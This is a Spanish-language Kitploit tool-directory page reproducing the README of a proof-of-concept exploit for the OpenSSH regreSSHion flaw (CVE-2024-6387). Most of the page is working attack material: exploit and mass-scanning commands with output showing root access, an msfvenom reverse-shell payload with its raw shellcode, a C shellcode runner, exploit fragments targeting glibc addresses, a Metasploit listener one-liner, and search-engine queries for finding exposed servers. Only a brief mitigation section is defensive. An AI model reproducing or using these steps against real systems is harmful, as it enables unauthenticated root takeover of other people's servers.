Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2024-6387 — Prueba de concepto del exploit para CVE-2024-6387 (regreSSHion) dirigido a la ejecución remota de código no autenticada en el servidor OpenSSH mediante una condición de carrera en el manejador de señales. Incluye escaneo, explotación y generación de shell inversa. | Kitploit
Herramientas/GitHubGitHub/prelearn-code/cve-2024-6387
Análisis de VulnerabilidadesExplotaciónShellcodePruebas de PenetraciónComando y ControlHerramienta de Acceso RemotoDesarrollo de Payloads
GitHubprelearn-code/cve-2024-6387

CVE-2024-6387

Prueba de concepto del exploit para CVE-2024-6387 (regreSSHion) dirigido a la ejecución remota de código no autenticada en el servidor OpenSSH mediante una condición de carrera en el manejador de señales. Incluye escaneo, explotación y generación de shell inversa.

Ver Repositorio
28hace 2 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Artículo original

openssh CVE-2024-6387 - PoC

📜 Descripción

Nota: Este script es un PoC prototipo rápido; es posible que se produzcan algunos errores y fallos. Probado en: Kali Linux, ParrotSec, Ubuntu 22.04

Vulnerabilidad de ejecución remota de código sin autenticación en el servidor OpenSSH

Se encontró una condición de carrera en el manejador de señales del servidor OpenSSH (sshd), donde, si un cliente no se autentica dentro de los segundos de LoginGraceTime (120 por defecto, 600 en versiones antiguas de OpenSSH), el manejador SIGALRM de sshd se invoca de forma asíncrona. Sin embargo, este manejador de señales llama a varias funciones que no son seguras para señales asíncronas (async-signal-safe), por ejemplo, syslog().

📁 Tabla de contenidos

  • 📖 Detalles
  • ⚙️ Uso
  • 🔍 Descubrimiento de hosts
  • 🛠️ Mitigación
  • 💁 Referencias
  • 📌 Autor
  • 📢 Aviso legal

✍🏻 Detalles

Puedes encontrar los detalles técnicos aquí.

La falla, descubierta por investigadores de Qualys en May 2024 y a la que se le asignó el identificador CVE-2024-6387, se debe a una condición de carrera en el manejador de señales de sshd que permite a atacantes remotos no autenticados ejecutar código arbitrario como root.

"Si un cliente no se autentica dentro de los segundos de LoginGraceTime (120 por defecto), entonces el manejador SIGALRM de sshd es llamado asincrónicamente y llama a varias funciones que no son seguras para señales asíncronas (async-signal-safe),"

"Un atacante remoto no autenticado puede aprovechar esta falla para ejecutar código arbitrario con privilegios de root."

⚙️ Uso

Escaneo del servidor OpenSSH

Requisito: última versión de python3

$ python3 CVE-2024-6387.py --exploit 192.168.56.101 --port 22

 ██████╗ ██████╗ ███████╗███╗   ██╗███████╗███████╗██╗  ██╗
██╔═══██╗██╔══██╗██╔════╝████╗  ██║██╔════╝██╔════╝██║  ██║
██║   ██║██████╔╝█████╗  ██╔██╗ ██║███████╗███████╗███████║
██║   ██║██╔═══╝ ██╔══╝  ██║╚██╗██║╚════██║╚════██║██╔══██║
╚██████╔╝██║     ███████╗██║ ╚████║███████║███████║██║  ██║
 ╚═════╝ ╚═╝     ╚══════╝╚═╝  ╚═══╝╚══════╝╚══════╝╚═╝  ╚═╝
   Author: l0n3m4n / Scanner: @xaitax / PoC: @7etsuo 
    
Exploiting vulnerabilities...
Attempting exploitation with glibc base: 0xb7200000
Attempt 0 of 20000
Received SSH version: SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6
Received KEX_INIT (1024 bytes)
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
.....
Exploitation successful..!

~# whoami && id
root
uid=0(root) gid=0(root) groups=0(root) 

Exportación (csv,txt,json)

$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 22 -o json -f result.json

Múltiples objetivos

$ python3 CVE-2024-6387.py -s targets.txt -p 22 -o json -f result.json

Añadir tiempo de espera (timeout)

$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 22 -t 10 -o json -f result.json

Rangos de red

$ python3 CVE-2024-6387.py -s 192.168.56.101/24 -p 22 -t 5 -o json -f result.json

Puerto personalizado

$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 2244 -t 5 -o json -f result.json

Proceso de escalada

Obteniendo una reverse shell

# Generating a shellcode 
$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.56.100 LPORT=9999 -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 130 bytes
Final size of c file: 574 bytes

unsigned char buf[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";

Payload personalizado

#include <stdio.h>

// A placeholder of your custom payload 
const char shellcode[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";

int main() {
    // Execute shellcode
    printf("Executing shellcode...\n");
    void (*sc)() = (void(*)())shellcode;
    sc();

    return 0;
}

Payload real

#include <stdio.h>
 

#define MAX_PACKET_SIZE (256 * 1024)
#define LOGIN_GRACE_TIME 120
#define MAX_STARTUPS 100
#define CHUNK_ALIGN(s) (((s) + 15) & ~15)

// Possible glibc base addresses (for ASLR bypass)
uint64_t GLIBC_BASES[] = { 0xb7200000, 0xb7400000 };
int NUM_GLIBC_BASES = sizeof (GLIBC_BASES) / sizeof (GLIBC_BASES[0]);

// Shellcode placeholder (replace with actual shellcode)
unsigned char shellcode[] = "\x90\x90\x90\x90";

Compilación e iniciación del payload

# compiling payload
$ gcc -shared -o exploit.so -fPIC 7etsuo-regreSSHion.c 

Ejecución del payload

# Once you receive a successful exploitation message, the msfconsole automatically initiates a Meterpreter session.
$ python3 CVE-2024-6387.py --exploit 192.168.56.101 --p 22 

Captura del payload

msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST 192.168.56.100; set LPORT 9999; exploit -j"

🔍 Descubrimiento de hosts

  • Hunter: /product.name="OpenSSH"
  • FOFA: app="OpenSSH"
  • SHODAN: product:"OpenSSH"
  • CENSYS: (openssh) and labels=remote-access

🛠️ Mitigación

  • Gestión de parches: Aplicar rápidamente los parches disponibles para OpenSSH es fundamental para cerrar la brecha de vulnerabilidad. Parchear de manera oportuna garantiza que los exploits conocidos no puedan utilizarse contra tus sistemas, reduciendo así la ventana de oportunidad para los atacantes.

  • Control de acceso mejorado: Limitar el acceso SSH mediante controles basados en red añade una capa adicional de defensa. Este enfoque minimiza la exposición a posibles atacantes al restringir las conexiones SSH únicamente a redes o direcciones IP autorizadas. La implementación de herramientas como reglas de firewall o el uso de VPN para un acceso seguro puede hacer cumplir estas restricciones de manera efectiva.

Descargar herramienta